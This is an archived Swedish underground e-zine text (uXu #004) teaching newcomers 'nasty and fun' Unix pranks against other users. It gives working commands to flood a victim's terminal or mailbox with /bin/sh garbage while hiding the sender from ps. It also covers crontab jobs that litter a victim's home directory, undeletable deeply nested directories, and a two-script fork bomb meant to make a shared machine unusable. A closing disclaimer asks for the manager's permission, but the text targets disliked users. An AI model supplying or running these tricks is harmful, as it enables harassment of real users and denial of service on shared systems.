home *** CD-ROM | disk | FTP | other *** search
-
- ### ###
- ### ###
- ### #### ### ### ### ####
- ### ### ##### ### ###
- ### ### ### ### ###
- ### ### ##### ### ###
- ########## ### ### ##########
- ### ###
- ### ###
-
- Underground eXperts United
-
- Presenterar...
-
- Intressant Svenskt Stoff
-
- [#004- Elaka och Roliga Trix i Unix ]
- _____________________________________________________________________
-
-
-
-
- ----------------------------------
- Elaka och Roliga Trix i Unix
- ----------------------------------
-
-
- Den här texten är enbart till för nöjets skull, och jag uppmanar ingen att
- använda några av de trix som finns beskrivna, men visst kan det vara skoj
- med ett aprilskämt då och då? :-)
-
- Obs! Texten är menad till personer som inte är så hemma med UNIX, men ändå
- skulle vilja lära sig några roliga trix att ta till ibland.
-
- OK. För att börja med några simpla saker som har med crontab'en att göra..
-
- (För er som inte ens vet vad en crontab är, men ändå är i desperat behov
- av att skaffa en, skriv ett brev till mig på te.x The Stash så ska jag
- förklara vad det är. Om du inte vill skriva ett brev till mig kan du ju
- alltid ta och slå upp crontab i första bästa UNIX-Manual.)
-
- Om ni på jobbet/skolan te.x kör på en Sparc och har möjlighet att spela upp
- en sampling eller liknande, gör en crontab som spelar upp samplingen te.x
- var 10'nde minut eller liknande. Alltid irriterande för den som sitter
- vid datorn. Lämplig sampling kan te.x vara ett hundskall.
-
- Om du på nåt sätt lyckats få chansen att använda en användare som du inte
- alls tycker om eller vill spela ett spratt och som inte är så bekant med
- UNIX, gör en crontab åt honom som endast gör ett directory i hans home
- te.x var 10'nde minut. Jag kan garantera att det kommer att bli jobbigt för
- honom/henne att radera alla diretorys vid varje inloggning..
-
- ---
-
- Om du vill störa user'n kalle så kan du skriva in följande rad:
-
- $write kalle </bin/sh
-
- Kalle kommer då att se en massa skräp på sin skärm.
- Om du vill skydda dig från sådana saker kan du skriva:
-
- $mesg n
-
- .. vilket dock har den lilla nackdelen att du inte heller kan skriva nåt
- heller, utan att göra en mesg y igen ...
-
- Om kalle's tty-fil är skrivbar kan du helt enkelt skriva in följande:
-
- $cat /bin/sh >/dev/kalles_tty
-
- Om du inte vill att kalle ska se att det är du som skickar filen genom ps
- kommandot kan du skriva:
-
- $cat </bin/sh >/dev/kalles_tty
-
- (Då visas bara cat på ps-listan)
-
- En variant på det temat är att skriva ett brev till kalle, innehållande
- /bin/sh. Detta kan ordnas genom att skriva följande:
-
- $mail -sEtt_subjekt kalle </bin/sh
-
- Om du vill undvika att få en shell i mailet kan du kolla längden på din
- mail-fil, och eventuellt cat'a den och se vad den innehåller. Detta
- eftersom erfarenheter säger att det är lättare att avbryta en cat'ning än
- i mail-programmet.
-
- ---
-
- En annan simpel liten sak är att göra en fil som börjar med tecknet '-'
- rm och mv kommer då att ta filnamnet som options...
- Detta kan göras genom att skriva in följande rad:
-
- $cat /tmp/din_text >-Haha..
-
- Filen kan dock raderas genom att skriva:
-
- $rm ./-Haha..
-
- .. men det kan du ju överlåta åt den utsatte att lista ut :) ..
-
- ---
-
- Om du vill vara steget elakare kan du (om du får skriva till ngn annans home)
- skapa directorys unde varandra med låååååånga namn.
- (Risken finns dock att shellen krashar pga att filnamnet blir för långt :)
-
- När sedan stackars kalle, eller vem du nu har valt, ska radera alla de fina
- directorys som du har gjort kommer ngt i denna vägen att inträffa:
-
- $rm -r ditt_fina_directory_som_har_ett_väldigt_långt_namn
- rm: filename too long:
-
- ditt_fina_directory_som_har_ett_väldigt_långt_namn/ditt_fina_directory
- _som_har_ett_väldigt_långt_namn/ditt_fina_directory_som_har_ett_väldigt_lå
- ngt_namn/ditt_fina_directory_som_har_ett_väldigt_långt_namn/ditt_fina_dire
- ctory_som_har_ett_väldigt_långt_namn/ditt_fina_directory_som_har_ett_väldig
- ditt_fina_directory_som_har_ett_väldigt_långt_namn/t_långt_namn/ditt_fina_
- directory_som_har_ett_väldigt_långt_namn/ditt_fina_directory_som_har_ett_v
- äldigt_långt_namn/ditt_fina_directory_som_har_ett_väldigt_långt_namn
-
- $
-
- Det som inträffar är helt enkelt att rm's buffer inte rymmer pathen till
- directoryt, och därför heller ej kan radera det...
- För att ta bort denna typen av directorys måste man först cd'a sig en bit
- ner och sedan radera 'nerifrån och upp'
-
- ---
-
- Om du vill göra dator'n lite svåranvändlig, skriv då in följande program:
-
- Namn: /tmp/prog1
-
- ----START----START----START----START----START----START----START----
-
- /tmp/prog2 &
- ps -alx >/dev/null &
- /tmp/prog1
-
- ----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
-
- Namn: /tmp/prog2
-
- ----START----START----START----START----START----START----START----
-
- /tmp/prog1 &
- ps -alx >/dev/null &
- /tmp/prog2
-
- ----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT----SLUT-----
-
-
- Skriv sedan in följande:
-
- $chmod 777 /tmp/prog1
- $chmod 777 /tmp/prog2
- $/tmp/prog1 &
-
-
- OK.. Du har nu nått slutet av denna "eminanta" text, som inte gav så mycket.
- Kom bara ihåg att inte använda någon av dessa små saker, om du nu inte har
- managern's tillstånd. Starta speciellt inte de sista programmen, eftersom det
- kommer att försvåra för andra att logga in, och försvåra för de som redan är
- påloggade att göra någonting...
-
- I fortsättningen kanske jag skriver nåt om hur man 'ökar sin access' på UNIX.
- Visst vet jag att det finns massor av texter med det temat, men hur många av
- dem är på svenska?
-
- ______________________________________________________________________________
- uXu Av Rubicon uXu
- ______________________________________________________________________________
-